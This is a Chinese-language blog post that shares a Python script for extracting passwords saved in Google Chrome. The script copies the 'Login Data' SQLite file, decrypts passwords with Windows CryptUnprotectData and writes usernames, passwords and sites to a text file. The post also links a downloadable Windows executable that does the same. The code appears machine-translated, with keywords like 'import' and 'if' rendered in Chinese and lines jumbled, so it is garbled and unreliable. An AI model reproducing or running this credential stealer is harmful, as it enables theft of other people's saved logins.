大家好,今天给大家分享如何获取保存在Chrome的账号密码
chrome一般都保存在sqlite3文件里,路径如下
C:\ Users \ Administrator \ AppData \ Local \ Google \ Chrome \ User Data
PY大法:
进口OS,SYS
进口shutil
进口sqlite3的
进口win32crypt
outFile_path = os.path.join(os.path.dirname(sys.executable),
'ChromePass.txt')
如果os.path.exists(outFile_path):
os.remove(outFile_path )
db_file_path = os.path.join(os.environ ['LOCALAPPDATA'],
r'Google \ Chrome \ User Data \ Default \ Login Data')
tmp_file = os.path.join(os.path.dirname(sys.executable ),tmp_tmp_tmp)
如果os.path.exists(tmp_file):
os.remove(tmp_file)
shutil.copyfile(db_file_path,tmp_file)#如果文件被锁定
conn = sqlite3.connect(tmp_file)
在conn.execute行( '选择username_value,password_value,从登录signon_realm'):
pwdHash = STR(行[1])
尝试:
RET = win32crypt.CryptUnprotectData(pwdHash,无,无,无,0)
除了:
打印' outFile: outFile.write('用户名:{0:<20}密码:{1:<20}站点:{2} 无法解密铬密码
sys.exit(-1)
open(outFile_path,'a'
} \ n \ n'.format(
行[0] .encode( 'GBK'),RET [1] .encode( 'GBK'),行[2] .encode( 'GBK')))
conn.close( )
print'将所有Chrome密码保存到:\ n'outFile_path
os。删除(tmp_file)#删除临时文件另外
再附上一个windows版
执行exe程序后会在程序目录下生成chromepass.txt
因为我不习惯保存账号密码,所以都没有
江湖险恶,我从来都不会轻易留下我的姓名
链接:https://pan.baidu.com/s/1o8T4QYu密码:1upx
Android恶意软件又出新招:伪装Google Chrome升级,窃取银行卡数据